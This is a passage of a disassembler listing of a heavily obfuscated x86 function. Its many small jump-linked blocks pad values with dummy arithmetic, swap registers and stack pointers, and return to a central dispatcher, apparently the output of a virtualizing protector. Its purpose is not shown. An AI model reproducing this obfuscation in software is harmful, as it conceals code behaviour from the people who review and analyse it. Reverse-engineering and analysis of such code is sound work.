85068423h add eax, esi pop esi xchg eax, [esp-48h+arg_40] pop esp mov ax, word ptr [esp-4Ch+arg_44] push edi mov edi, esp sub esp, 4 mov [esp-44h+arg_3C], esi mov esi, 4 push ebx jmp loc_58A419 ; --------------------------------------------------------------------------- loc_586122: ; CODE XREF: sub_580566+A5AEj xor edx, ebx xor ebx, edx xor edx, ebx jmp loc_58488E ; --------------------------------------------------------------------------- loc_58612D: ; CODE XREF: sub_580566+B06Aj add eax, 391401F2h jmp loc_5896EB ; --------------------------------------------------------------------------- loc_586137: ; CODE XREF: sub_580566+4B01j pop ecx jmp loc_58FD95 ; --------------------------------------------------------------------------- loc_58613D: ; CODE XREF: sub_580566+449Fj mov ebp, 153F317Eh jmp loc_58C441 ; --------------------------------------------------------------------------- loc_586147: ; CODE XREF: sub_580566+C32Ej add bh, 9Bh pop ecx jmp loc_58E4E8 ; --------------------------------------------------------------------------- loc_586150: ; CODE XREF: sub_580566+C4D6j add ecx, 4 push edx jmp loc_58E1F4 ; --------------------------------------------------------------------------- loc_58615C: ; DATA XREF: sub_580566+3EB6o push 32C4h mov [esp-2Ch+arg_24], edx jmp loc_58C37A ; --------------------------------------------------------------------------- loc_586169: ; CODE XREF: sub_580566+55F5j sub ecx, 59274AD2h push 71A8h jmp loc_585C2A ; --------------------------------------------------------------------------- loc_586179: ; CODE XREF: sub_580566+C68Bj push ecx jmp loc_58D1E9 ; --------------------------------------------------------------------------- loc_58617F: ; CODE XREF: sub_580566+4167j pop ebx jmp loc_5872E1 ; --------------------------------------------------------------------------- loc_586185: ; CODE XREF: sub_580566+5152j pop eax push esi mov esi, 1D760CC3h sub eax, 149F0F63h sub eax, esi jmp loc_58A889 ; --------------------------------------------------------------------------- loc_586198: ; CODE XREF: sub_580566+E4A8j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+2Ch+var_2C] jmp loc_5886AB ; --------------------------------------------------------------------------- loc_5861AF: ; CODE XREF: sub_580566+BE38j add ebp, 4 xchg ebp, [esp+2Ch+var_2C] jmp loc_5848A9 ; --------------------------------------------------------------------------- loc_5861BD: ; CODE XREF: sub_580566+D3B4j add esp, 4 pop [esp+28h+var_28] mov esp, [esp+24h+var_24] shl byte ptr [esp+24h+var_24], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_5861D2: ; CODE XREF: sub_580566+B449j pop edi jmp loc_585B27 ; --------------------------------------------------------------------------- loc_5861D8: ; CODE XREF: sub_580566+42ECj pop ebx add dl, 19h jmp loc_58DE05 ; --------------------------------------------------------------------------- loc_5861E1: ; CODE XREF: sub_580566+C99Cj push 290Eh mov [esp-2Ah+arg_20+2], ebp mov ebp, 1383197Ah shr ebp, 1 not ebp xchg ecx, ebp not ecx jmp loc_58A934 ; --------------------------------------------------------------------------- loc_5861FB: ; CODE XREF: sub_580566+B082j sub esi, 47F465A2h add esi, 15FF115Dh add esi, ebx sub esi, 15FF115Dh add esi, 47F465A2h push eax mov eax, 624C16CDh add eax, 212015D2h dec eax shr eax, 6 jmp loc_5879D0 ; --------------------------------------------------------------------------- loc_586229: ; CODE XREF: sub_580566+B7E1j mov ebx, 27EE2CC2h sub ebx, 0B269150Fh xor esi, ebx pop ebx push edi jmp loc_58ED25 ; --------------------------------------------------------------------------- loc_58623D: ; CODE XREF: sub_580566+4DAFj mov ecx, 38h push edx mov edx, 24F5474Eh add ecx, edx pop edx add ecx, edi sub ecx, 24F5474Eh push 32Ah mov [esp+0Eh+var_10+2], ebx jmp loc_58C761 ; --------------------------------------------------------------------------- loc_586260: ; CODE XREF: sub_580566+A4FFj add edi, 0D9FB7F5Eh jmp loc_588F97 ; --------------------------------------------------------------------------- loc_58626B: ; CODE XREF: sub_580566+F49Ej mov edx, esi pop esi or edx, 7C5A62EBh sub edx, 101A3C8Eh and ebp, edx mov edx, [esp+0Ah+var_C+2] add esp, 4 jmp loc_5903CB ; --------------------------------------------------------------------------- loc_586287: ; CODE XREF: sub_580566+CD9Dj sub ecx, 893134FEh mov ebx, ecx pop ecx add ebx, eax push ecx jmp loc_584C5D ; --------------------------------------------------------------------------- loc_586298: ; CODE XREF: sub_580566+69EEj add eax, ebp pop ebp mov ecx, eax pop eax shr ecx, 6 jmp loc_58A91D ; --------------------------------------------------------------------------- loc_5862A6: ; CODE XREF: sub_580566+886Bj xchg ebp, [esp+0] pop esp mov [esp+0], ebp xchg edi, [esp+0] xor edi, eax jmp loc_58A0B2 ; --------------------------------------------------------------------------- loc_5862B7: ; CODE XREF: sub_580566+EE71j push ecx mov ecx, 3A583B4Bh push 9DAh mov [esp+2+var_4+2], eax mov eax, 38B076C2h or eax, 45225117h jmp loc_5900C9 ; --------------------------------------------------------------------------- loc_5862D4: ; DATA XREF: sub_580566+3DEAo push 1600h mov [esp-2Ch+arg_24], ebx mov ebx, 779C5E28h push eax mov eax, 41C83218h and eax, 108B7175h jmp loc_58EDE4 ; --------------------------------------------------------------------------- loc_5862F1: ; CODE XREF: sub_580566+E52Aj mov ebp, 7DF84088h and ebp, 63B4603h not ebp sub ebp, 0FBC7BFFBh sub edx, ebp pop ebp xchg edx, [esp-2Ch+arg_24] pop esp mov [esp-30h+arg_28], ecx mov ecx, 2 add ebx, 53556E0Fh add ebx, ecx sub ebx, 53556E0Fh pop ecx push 71F9h mov [esp-30h+arg_28], ebx push [esp-30h+arg_2C] push [esp-2Ch+arg_24] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-28h+arg_20] pop esp jmp loc_587344 ; --------------------------------------------------------------------------- loc_586347: ; CODE XREF: sub_580566+BCD0j pop eax add ebx, ebp pop ebp push 2692h mov [esp-30h+arg_28], ebx push [esp-30h+arg_2C] pop ebx jmp loc_58CDEA ; --------------------------------------------------------------------------- loc_58635D: ; CODE XREF: sub_580566+8A2Cj add ebx, 4 xchg ebx, [esp-30h+arg_28] pop esp and eax, esi push [esp-34h+arg_2C] pop esi push ebx sub esp, 4 jmp loc_588F4F ; --------------------------------------------------------------------------- loc_586376: ; CODE XREF: sub_580566+495Bj mov esi, 4 jmp loc_5880E9 ; --------------------------------------------------------------------------- loc_586380: ; CODE XREF: sub_580566+D89Aj push edi mov edi, 7AA2AE5h push esi push edx mov edx, 6FBA4E00h push eax mov eax, edx mov esi, eax pop eax pop edx jmp loc_5854E9 ; --------------------------------------------------------------------------- loc_586399: ; CODE XREF: sub_580566+EFC2j push ecx jmp loc_589ED4 ; --------------------------------------------------------------------------- loc_58639F: ; DATA XREF: sub_580566+3C9Ao mov cx, [esp+0] push esi mov esi, esp push eax jmp loc_5886CC ; --------------------------------------------------------------------------- loc_5863AC: ; CODE XREF: sub_580566+CE3Aj mov ecx, esp push edi jmp loc_5865EE ; --------------------------------------------------------------------------- loc_5863B4: ; CODE XREF: sub_580566+88B5j sub eax, 70C46434h sub eax, ecx push ecx push ebx jmp loc_58C2AB ; --------------------------------------------------------------------------- loc_5863C2: ; CODE XREF: sub_580566+8876j sub eax, 55420D3Ah add ebp, eax pop eax push ebp push [esp+10h+var_C] pop ebp pop [esp+10h+var_10] pop esp or [esp+8+var_8], eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_5863DD: ; CODE XREF: sub_580566+E243j push 1CF4h mov [esp+10h+var_10], esi push esp jmp loc_58D70A ; --------------------------------------------------------------------------- loc_5863EB: ; CODE XREF: sub_580566+E7F6j mov eax, 478B6641h jmp loc_58D448 ; --------------------------------------------------------------------------- loc_5863F5: ; CODE XREF: sub_580566+F4F4j sub esi, 70C3057Bh neg esi xor esi, 92E4B08h sub esi, 0BD11A211h add esi, 0CA74E149h sub ecx, 5D7B3690h jmp loc_58C0BE ; --------------------------------------------------------------------------- loc_58641A: ; DATA XREF: sub_580566+3D6Eo movzx ax, byte ptr [edx] push 29BEh mov [esp-2Ch+arg_24], ecx push esp pop ecx push eax mov eax, 1BDC18BBh shl eax, 1 neg eax sub eax, 4A250D4Ah push edi mov edi, 1A0C1A45h or eax, edi pop edi dec eax xor eax, edx xor edx, eax xor eax, edx push edx jmp loc_585615 ; --------------------------------------------------------------------------- loc_58644D: ; CODE XREF: sub_580566+DADAj mov eax, 2 jmp loc_5845B0 ; --------------------------------------------------------------------------- loc_586457: ; CODE XREF: sub_580566+86ACj add dl, 0C6h sub dl, al push ebx mov bl, 32h xor bl, 0F4h jmp loc_587623 ; --------------------------------------------------------------------------- loc_586467: ; CODE XREF: sub_580566+481Dj push 30B86970h pop eax and eax, 2F29005Fh or eax, 1472EEh xor eax, 4A7C7918h sub eax, 0FD03AA9Ah jmp loc_58ECA5 ; --------------------------------------------------------------------------- loc_586486: ; DATA XREF: sub_580566+3C8Ao mov cx, [esp+0] jmp loc_58AE3F ; --------------------------------------------------------------------------- loc_58648F: ; CODE XREF: sub_580566+8AD5j add esp, 4 push edi mov edi, 2 add esi, 6B8E1EE2h jmp loc_585D77 ; --------------------------------------------------------------------------- loc_5864A6: ; CODE XREF: sub_580566+8523j mov esi, 6C5922E8h inc esi or esi, 2EEF39D2h add esi, 53F307B1h sub esi, 6B9F389Eh sub edi, esi jmp loc_58680F ; --------------------------------------------------------------------------- loc_5864C5: ; CODE XREF: sub_580566+E7EAj add ecx, ebp add ecx, 988138Ch mov ebp, [esp+0] add esp, 4 sub [esp-8+arg_8], 61BB320Ch sub [esp-8+arg_8], 54FB6B6Bh sub [esp-8+arg_8], ecx add [esp-8+arg_8], 54FB6B6Bh add [esp-8+arg_8], 61BB320Ch pop ecx pop edx push ebx mov ebx, 1E9670A5h dec ebx not ebx sub ebx, 8D1E4013h jmp loc_58DC7E ; --------------------------------------------------------------------------- loc_58650D: ; CODE XREF: sub_580566+6A5Dj mov ecx, [esp-0Ch+arg_8] add esp, 4 add ecx, 4 jmp loc_5893ED ; --------------------------------------------------------------------------- loc_586521: ; CODE XREF: sub_580566+7D9Fj pop edx and eax, ecx push [esp-14h+arg_A+2] jmp loc_58725C ; --------------------------------------------------------------------------- loc_58652C: ; CODE XREF: sub_580566+8662j pop ecx add esp, 4 add eax, 4 xor eax, [esp-18h+arg_E+2] jmp loc_58742A ; --------------------------------------------------------------------------- loc_586540: ; CODE XREF: sub_580566+7394j xchg eax, [esp-18h+arg_E+2] jmp loc_58C078 ; --------------------------------------------------------------------------- loc_586548: ; CODE XREF: sub_580566+C2FCj add esp, 4 add eax, 4B4A497Fh jmp loc_5873B4 ; --------------------------------------------------------------------------- loc_586558: ; CODE XREF: sub_580566+9F2Bj pop edi sub edx, 9603FC55h sub esi, edx jmp loc_586AF7 ; --------------------------------------------------------------------------- loc_586566: ; CODE XREF: sub_580566+CC6Aj push eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58656D: ; CODE XREF: sub_580566+919Fj pop eax pop edi mov ecx, eax jmp loc_587524 ; --------------------------------------------------------------------------- loc_586576: ; CODE XREF: sub_580566+93DBj xor edi, 3DF04FC0h mov ebx, edi pop edi add ebx, edi push edx mov edx, 0 push ebp mov ebp, 58F930A3h add ebp, 0EB3EEF2Dh add edx, ebp pop ebp add edx, ebx sub edx, 44381FD0h add eax, [edx] jmp loc_5879E3 ; --------------------------------------------------------------------------- loc_5865A5: ; CODE XREF: sub_580566+5423j mov bl, al pop eax pop ecx push edx mov dl, 58h add dl, 0EEh or dl, 43h jmp loc_58484B ; --------------------------------------------------------------------------- loc_5865B7: ; CODE XREF: sub_580566+AE48j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] mov esp, [esp+0] sub esp, 4 jmp loc_58B085 ; --------------------------------------------------------------------------- loc_5865D4: ; CODE XREF: sub_580566+BEF5j add esp, 4 loc_5865DA: ; CODE XREF: sub_580566+9337j push ecx mov ecx, ebx mov ebx, ecx mov ecx, [esp+0] push edx sub esp, 4 mov [esp+8+var_8], esp jmp loc_5894EC ; --------------------------------------------------------------------------- loc_5865EE: ; CODE XREF: sub_580566+5E49j mov edi, 62CD0C62h push edx mov edx, 47CE1C3Bh shr edx, 5 add edx, 77370939h and edi, edx pop edx push ecx mov ecx, 58764739h jmp loc_58833A ; --------------------------------------------------------------------------- loc_586610: ; CODE XREF: sub_580566+76EAj mov [esp+0Ch+var_C], ebx push [esp+0Ch+var_C] pop esi add esp, 4 push esi mov eax, [esp+0Ch+var_C] add esp, 4 jmp loc_58953B ; --------------------------------------------------------------------------- loc_586629: ; CODE XREF: sub_580566+ABC7j shr esi, 6 inc esi xor esi, 488E35D7h push esi mov esi, 15034EB1h jmp loc_587D6E ; --------------------------------------------------------------------------- loc_58663E: ; CODE XREF: sub_580566+6A9Ej push edi mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp+10h+var_10] jmp loc_586DCA ; --------------------------------------------------------------------------- loc_586652: ; CODE XREF: sub_580566+8DBBj add [esp+10h+var_10], 4 push [esp+10h+var_10] pop edi jmp loc_58AF78 ; --------------------------------------------------------------------------- loc_58665F: ; CODE XREF: sub_580566+AF66j cmp cl, al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_586667: ; CODE XREF: sub_580566+9DACj shl dl, 1 neg dl xor dl, 0Eh add dl, 7Dh mov ch, dl jmp loc_585985 ; --------------------------------------------------------------------------- loc_586678: ; DATA XREF: sub_580566+3CEEo push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp-0Eh+arg_8+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_586688: ; CODE XREF: sub_580566+937Bj mov edx, [esp-0Ah+arg_4+2] push eax mov eax, esp add eax, 4 push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp+0] jmp loc_58679F ; --------------------------------------------------------------------------- loc_5866A4: ; CODE XREF: sub_580566+BABFj sub esp, 4 jmp loc_58E332 ; --------------------------------------------------------------------------- loc_5866AF: ; CODE XREF: sub_580566+9F06j mov ebp, [esp+0] add esp, 4 xchg ebx, [esp+0] pop esp bt word ptr [esp-0Ah+arg_4+2], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_5866C7: ; CODE XREF: sub_580566+E3A4j add edi, 4 add edi, 4 xchg edi, [esp+0] mov esp, [esp+0] push ecx push eax jmp loc_58F045 ; --------------------------------------------------------------------------- loc_5866DD: ; CODE XREF: sub_580566+49F7j inc edx neg edx xor edx, 0B019AC85h xor edi, edx pop edx add edx, edi jmp loc_58B7F8 ; --------------------------------------------------------------------------- loc_5866F0: ; CODE XREF: sub_580566+69B5j sub ebp, ebx sub ebp, 272B770Bh mov ebx, [esp-4Eh+arg_44+2] add esp, 4 xchg ebp, [esp-52h+arg_48+2] mov esp, [esp-52h+arg_48+2] mov [esp-52h+arg_48+2], ecx jmp loc_584473 ; --------------------------------------------------------------------------- loc_58670F: ; CODE XREF: sub_580566+EA7Fj sub esp, 4 jmp loc_58F17E ; --------------------------------------------------------------------------- loc_586717: ; CODE XREF: sub_580566+4680j push 53E8h mov [esp-46h+arg_3C+2], esi push [esp-46h+arg_40+2] jmp loc_5898A2 ; --------------------------------------------------------------------------- loc_586728: ; CODE XREF: sub_580566+FD6Ej push ecx mov ecx, 3E5B641Bh add [esp-3Eh+arg_3C+2], 0F854E0Dh jmp loc_58830A ; --------------------------------------------------------------------------- loc_58673B: ; CODE XREF: sub_580566+488Ej sub esi, 0DB544BAh jmp loc_586D9B ; --------------------------------------------------------------------------- loc_586746: ; CODE XREF: sub_580566+8BF3j xor ebp, [esp-34h+arg_2C] jmp loc_58939B ; --------------------------------------------------------------------------- loc_58674E: ; CODE XREF: sub_580566+6276j sub eax, edx pop edx xor ebx, eax push cx push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, 2067252Fh add ebx, ebp sub ebx, 2067252Fh pop ebp sub ebx, 4 xchg ebx, [esp-32h+arg_28+2] mov esp, [esp-32h+arg_28+2] mov [esp-32h+arg_28+2], eax mov ah, 1 push eax mov al, 85h not al shl al, 3 dec al push ecx mov cl, 7Ah shr cl, 5 push small 0 sub byte ptr [esp-28h+arg_20], cl mov cl, byte ptr [esp-28h+arg_20] add esp, 2 push dx jmp loc_58E6D6 ; --------------------------------------------------------------------------- loc_58679F: ; CODE XREF: sub_580566+6139j pop esp push small 103Bh mov word ptr [esp-8+arg_4], dx push eax mov al, 0D7h jmp loc_59072A ; --------------------------------------------------------------------------- loc_5867B0: ; CODE XREF: sub_580566+B1ADj add [esp-4+arg_8], ecx jmp loc_58F748 ; --------------------------------------------------------------------------- loc_5867B9: ; CODE XREF: sub_580566+6FB9j add esp, 4 push 4F78h jmp loc_58CC20 ; --------------------------------------------------------------------------- loc_5867C6: ; CODE XREF: sub_580566+6F13j sub esp, 4 mov [esp+0], edx jmp loc_584732 ; --------------------------------------------------------------------------- loc_5867D4: ; CODE XREF: sub_580566+A16Fj neg edx add edx, 18EEA561h jmp loc_58674E ; --------------------------------------------------------------------------- loc_5867E1: ; DATA XREF: sub_580566+3C96o push dword ptr [esp+0] push dword ptr [esp+0] pop eax push edi mov edi, esp push eax mov eax, 579E3B4Ch jmp loc_58558E ; --------------------------------------------------------------------------- loc_5867F6: ; CODE XREF: sub_580566+F16Fj push ebx push edi mov edi, 4 jmp loc_58C5CB ; --------------------------------------------------------------------------- loc_586802: ; CODE XREF: sub_580566+407Fj mov esi, esp add esi, 4 jmp loc_590538 ; --------------------------------------------------------------------------- loc_58680F: ; CODE XREF: sub_580566+5F5Aj pop esi sub edi, ebx add edi, 57530B0Eh add edi, 64D05D46h pop ebx push ecx mov ecx, edi mov ebx, ecx pop ecx pop edi jmp loc_584473 ; --------------------------------------------------------------------------- loc_58682B: ; CODE XREF: sub_580566+E3E0j mov [esp+0], ebx push esp pop ebx push 78E7h mov [esp-0Ch+arg_8], ebp jmp loc_588D01 ; --------------------------------------------------------------------------- loc_58683D: ; CODE XREF: sub_580566+BF37j push [esp-0Ch+arg_8] jmp loc_58F02C ; --------------------------------------------------------------------------- loc_586845: ; CODE XREF: sub_580566+D271j mov [esp-8+arg_4], ebp jmp loc_58F166 ; --------------------------------------------------------------------------- loc_58684D: ; CODE XREF: sub_580566+DAB4j add ebx, 230B71A2h mov eax, [esp-8+arg_4] add esp, 4 push ebp mov ebp, 51EF119Ch jmp loc_585DF5 ; --------------------------------------------------------------------------- loc_586867: ; CODE XREF: sub_580566+5A8Aj add [esp+8+var_8], 4 push [esp+8+var_8] pop ebx push esi mov esi, esp push ebx push ecx jmp loc_58F399 ; --------------------------------------------------------------------------- loc_586879: ; CODE XREF: sub_580566+A1D3j sub edi, 0FFFFFFFFh xor edi, 0E87D7794h add ebx, edi push [esp+14h+var_14] mov edi, [esp+18h+var_18] jmp loc_589AED ; --------------------------------------------------------------------------- loc_586892: ; CODE XREF: sub_580566+C807j sub esi, 215226D0h add esi, ecx push eax mov eax, 75E01D3Ah or eax, 410F632Bh jmp loc_589EBE ; --------------------------------------------------------------------------- loc_5868AA: ; CODE XREF: sub_580566+C3DBj mov word ptr [esp+1Ch+var_1C], ax jmp loc_58A434 ; --------------------------------------------------------------------------- loc_5868B3: ; CODE XREF: sub_580566+A5C1j add esp, 4 and [edi+1Ch], esi push [esp+18h+var_18] pop esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] mov [esp+1Ch+var_1C], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp+20h+var_20], edi mov edi, 4 add edx, edi pop edi xchg edx, [esp+1Ch+var_1C] pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_5868F4: ; CODE XREF: sub_580566+7FDCj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] mov [esp+1Ch+var_1C], esi mov esi, esp add esi, 4 push ecx jmp loc_58E06D ; --------------------------------------------------------------------------- loc_586917: ; CODE XREF: sub_580566+426Dj push dword ptr [eax] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58691E: ; CODE XREF: sub_580566+F6FFj mov [esp+8+var_8], ebp push esp jmp loc_58E4D3 ; --------------------------------------------------------------------------- loc_586927: ; DATA XREF: sub_580566+3DBEo mov esp, [esp-30h+arg_28] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58692F: ; CODE XREF: sub_580566+ABE2j add ch, 4Ch jmp loc_588B3F ; --------------------------------------------------------------------------- loc_586937: ; CODE XREF: sub_580566+9372j add esi, 4 xchg esi, [esp-30h+arg_28] pop esp mov ebx, [esp-34h+arg_2C] push 0CF2h mov [esp-30h+arg_28], edi mov edi, esp jmp loc_586E03 ; --------------------------------------------------------------------------- loc_586953: ; CODE XREF: sub_580566+AC9Ej add ecx, 4 sub ecx, 4 xchg ecx, [esp-30h+arg_28] pop esp jmp loc_58C3C0 ; --------------------------------------------------------------------------- loc_586968: ; CODE XREF: sub_580566+1006Fj push ecx push ebx push edx mov edx, 548E235Dh mov ebx, edx pop edx not ebx add ebx, 59823DE3h xor ebx, 143D5A21h shr ebx, 6 xor ebx, offset loc_432506 jmp loc_58A198 ; --------------------------------------------------------------------------- loc_58698F: ; CODE XREF: sub_580566+A5EAj shr ecx, 6 jmp loc_588368 ; --------------------------------------------------------------------------- loc_586997: ; CODE XREF: sub_580566+D953j push ecx jmp loc_58CACC ; --------------------------------------------------------------------------- loc_58699D: ; DATA XREF: sub_580566+3D86o mov cx, word ptr [esp-30h+arg_28] push eax push esp mov eax, [esp-28h+arg_20] add esp, 4 add eax, 4 sub esp, 4 jmp loc_58DBF6 ; --------------------------------------------------------------------------- loc_5869BC: ; CODE XREF: sub_580566+92B6j and edi, 2AF56D05h add edi, 7D1334FEh or edx, edi pop edi jmp loc_588922 ; --------------------------------------------------------------------------- loc_5869D0: ; CODE XREF: sub_580566+8F11j push ebp mov ebp, esp jmp loc_588DC8 ; --------------------------------------------------------------------------- loc_5869D8: ; CODE XREF: sub_580566+D98Cj add esi, 60832483h add esi, ecx sub esi, 60832483h pop ecx push 6C24h mov [esp-28h+arg_20], esi push [esp-28h+arg_24] mov esi, [esp-24h+arg_1A+2] jmp loc_58EBE2 ; --------------------------------------------------------------------------- loc_5869FB: ; CODE XREF: sub_580566+BF2Cj mov ch, 0BEh sub al, ch jmp loc_58509F ; --------------------------------------------------------------------------- loc_586A04: ; CODE XREF: sub_580566+7592j sub eax, 6A02630Ah sub eax, edx add eax, 6A02630Ah pop edx sub eax, 37BF5E29h add eax, 41E620F5h add eax, ebp sub eax, 41E620F5h push ebx mov ebx, 37BF5E29h add eax, ebx pop ebx push ecx mov ecx, 71D17E76h neg ecx inc ecx add ecx, 4DB56117h jmp loc_58AEC4 ; --------------------------------------------------------------------------- loc_586A3F: ; CODE XREF: sub_580566+DCA4j pop edx jmp loc_58E809 ; --------------------------------------------------------------------------- loc_586A45: ; CODE XREF: sub_580566+EAAAj mov eax, 3E727DC9h xor edi, eax mov eax, [esp-28h+arg_20] add esp, 4 not edi push ebp mov ebp, 0EA91E801h jmp loc_58F99B ; --------------------------------------------------------------------------- loc_586A5F: ; CODE XREF: sub_580566+659Fj mov [esp-28h+arg_20], esi pop dword ptr [edi+24h] pop esi loc_586A66: ; CODE XREF: sub_580566+5190j push 1CCFh mov [esp-2Ch+arg_24], ebx push ebp jmp loc_58D199 ; --------------------------------------------------------------------------- loc_586A74: ; CODE XREF: sub_580566+DBBAj xchg ebx, [esp-28h+arg_20] pop esp add ebx, edx mov [ebx], al jmp loc_58A0EC ; --------------------------------------------------------------------------- loc_586A81: ; CODE XREF: sub_580566+81B8j or ecx, ecx jz loc_588280 push 252Ah mov [esp-28h+arg_20], esp add [esp-28h+arg_20], 4 jmp loc_5870ED ; --------------------------------------------------------------------------- loc_586A9A: ; CODE XREF: sub_580566+D84Ej sub ebx, 0C67F0B4Fh sub edi, 64D05D46h jmp loc_588A88 ; --------------------------------------------------------------------------- loc_586AAB: ; CODE XREF: sub_580566+8FE6j add dl, 66h or bh, dl pop edx not bh jmp loc_58C14B ; --------------------------------------------------------------------------- loc_586AB8: ; CODE XREF: sub_580566+82F1j pop eax jmp loc_589288 ; --------------------------------------------------------------------------- loc_586ABE: ; CODE XREF: sub_580566+C61Ej add edx, ecx mov ecx, [esp-30h+arg_28] add esp, 4 xor eax, edx jmp loc_58B37A ; --------------------------------------------------------------------------- loc_586AD0: ; CODE XREF: sub_580566+AA2Dj mov edx, [esp-34h+arg_2C] jmp loc_58754C ; --------------------------------------------------------------------------- loc_586AD8: ; CODE XREF: sub_580566+5054j xchg ecx, [esp-20h+arg_16+2] jmp loc_58E2D7 ; --------------------------------------------------------------------------- loc_586AE0: ; DATA XREF: sub_580566+3E42o lodsd jmp loc_58B120 ; --------------------------------------------------------------------------- loc_586AE6: ; CODE XREF: sub_580566+9889j pop ecx sub ebp, edx pop edx add ebx, 71A668DCh add ebx, ebp jmp loc_5876C7 ; --------------------------------------------------------------------------- loc_586AF7: ; CODE XREF: sub_580566+5FFBj mov edx, [esp-20h+arg_16+2] add esp, 4 push dword ptr [edi+24h] push 6B79h jmp loc_586A5F ; --------------------------------------------------------------------------- loc_586B0A: ; CODE XREF: sub_580566+AC5Bj not esi inc esi add esi, 0A306B1C3h xor ebp, esi pop esi and ebx, ebp jmp loc_589050 ; --------------------------------------------------------------------------- loc_586B1D: ; CODE XREF: sub_580566+7995j pop esi add esi, 4 push eax jmp loc_58A00C ; --------------------------------------------------------------------------- loc_586B2A: ; CODE XREF: sub_580566+D0CEj add edi, 3F4E327Ch jmp loc_58B9AC ; --------------------------------------------------------------------------- loc_586B35: ; CODE XREF: sub_580566+53DEj push eax push 109A6CE9h pop eax add eax, 0FFFFFFFFh add eax, 73E17196h and eax, 1A867401h push ebp jmp loc_586F4F ; --------------------------------------------------------------------------- loc_586B51: ; CODE XREF: sub_580566+8010j push edi mov edi, 0D4D0A126h sub edx, edi mov edi, [esp+8+var_8] add esp, 4 jmp loc_584A0A ; --------------------------------------------------------------------------- loc_586B64: ; CODE XREF: sub_580566+7039j sub cl, 43h mov dl, cl pop ecx add ch, dl pop edx sub dh, 0B5h sub dh, 5Ch add dh, ch add dh, 5Ch add dh, 0B5h mov ecx, [esp+0] push edi mov edi, esp add edi, 4 add edi, 4 push edi jmp loc_5893B2 ; --------------------------------------------------------------------------- loc_586B93: ; DATA XREF: sub_580566+3DFEo sub esp, 4 mov [esp-2Ch+arg_24], ebx jmp loc_584C2D ; --------------------------------------------------------------------------- loc_586B9E: ; CODE XREF: sub_580566+4D4Bj add esi, eax pop eax push 1C9Bh mov [esp+2+var_4+2], esi push dword ptr [esp+4] push [esp+6+var_8+2] mov esi, [esp+0Ah+var_C+2] add esp, 4 add esp, 4 pop [esp+2+var_4+2] mov esp, [esp+0] jmp loc_584D16 ; --------------------------------------------------------------------------- loc_586BCA: ; CODE XREF: sub_580566+5935j mov ebx, [esp-18h+arg_E+2] push edi mov edi, esp push ebp mov ebp, 0E844E16h xor ebp, 2836129Fh jmp loc_5880BF ; --------------------------------------------------------------------------- loc_586BE1: ; CODE XREF: sub_580566+BBC1j sub esi, edi jmp loc_58874A ; --------------------------------------------------------------------------- loc_586BE8: ; CODE XREF: sub_580566+87B8j not dword ptr [esp+0] pop ebp dec ebp push ecx push ebp push ebx jmp loc_58EFF5 ; --------------------------------------------------------------------------- loc_586BF5: ; CODE XREF: sub_580566+BE28j inc [esp-8+arg_4] pop edi add edi, 3BDE1E50h jmp loc_58F722 ; --------------------------------------------------------------------------- loc_586C04: ; CODE XREF: sub_580566+4E25j xor dh, 87h xor bh, dh pop edx jmp loc_5888D6 ; --------------------------------------------------------------------------- loc_586C0F: ; CODE XREF: sub_580566+58C0j xor eax, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], eax xor eax, [esp-20h+arg_16+2] jmp loc_585B60 ; --------------------------------------------------------------------------- loc_586C1D: ; DATA XREF: sub_580566+3C3Ao push dword ptr [esp+0] mov eax, [esp+0] add esp, 4 push ebx push esp mov ebx, [esp+4+var_4] jmp loc_589D9B ; --------------------------------------------------------------------------- loc_586C33: ; CODE XREF: sub_580566+E73Aj pop esi add edi, ebp jmp loc_5897A9 ; --------------------------------------------------------------------------- loc_586C3B: ; CODE XREF: sub_580566+5821j mov ebx, 4 sub eax, 3B903E1Ah add eax, ebx add eax, 3B903E1Ah pop ebx xor eax, [esp-8+arg_4] xor [esp-8+arg_4], eax xor eax, [esp-8+arg_4] jmp loc_58F49C ; --------------------------------------------------------------------------- loc_586C5B: ; CODE XREF: sub_580566+A8E3j push ecx push 43E5h mov [esp+0], esi jmp loc_58C06E ; --------------------------------------------------------------------------- loc_586C69: ; CODE XREF: sub_580566+CD07j pop ecx xchg ebx, [esp+0] mov esp, [esp+0] jmp loc_58AE00 ; --------------------------------------------------------------------------- loc_586C75: ; CODE XREF: sub_580566+B45Dj push edx push esp pop edx add edx, 4 jmp loc_58C94F ; --------------------------------------------------------------------------- loc_586C83: ; CODE XREF: sub_580566+D285j push ecx mov ecx, esp push edi mov edi, 2C2C68A2h not edi push edx mov edx, 337A7E18h or edx, 77B2928h jmp loc_58856F ; --------------------------------------------------------------------------- loc_586C9F: ; DATA XREF: sub_580566+3EA2o push [esp-30h+arg_28] pop eax sub esp, 4 mov [esp-2Ch+arg_24], eax sub esp, 4 mov [esp-28h+arg_20], esp add [esp-28h+arg_20], 4 pop eax push esi mov esi, 4 push ebx mov ebx, 77174267h add eax, ebx pop ebx sub eax, 5B3E58A5h add eax, esi jmp loc_58DEA0 ; --------------------------------------------------------------------------- loc_586CD2: ; CODE XREF: sub_580566+87ADj push 7690h mov [esp-24h+arg_1A+2], ebx jmp loc_58F9E4 ; --------------------------------------------------------------------------- loc_586CDF: ; CODE XREF: sub_580566+8A6Fj push dx sub byte ptr [esp-22h+arg_1A], 0FFh pop dx shl dl, 2 dec dl dec dl sub esp, 2 mov word ptr 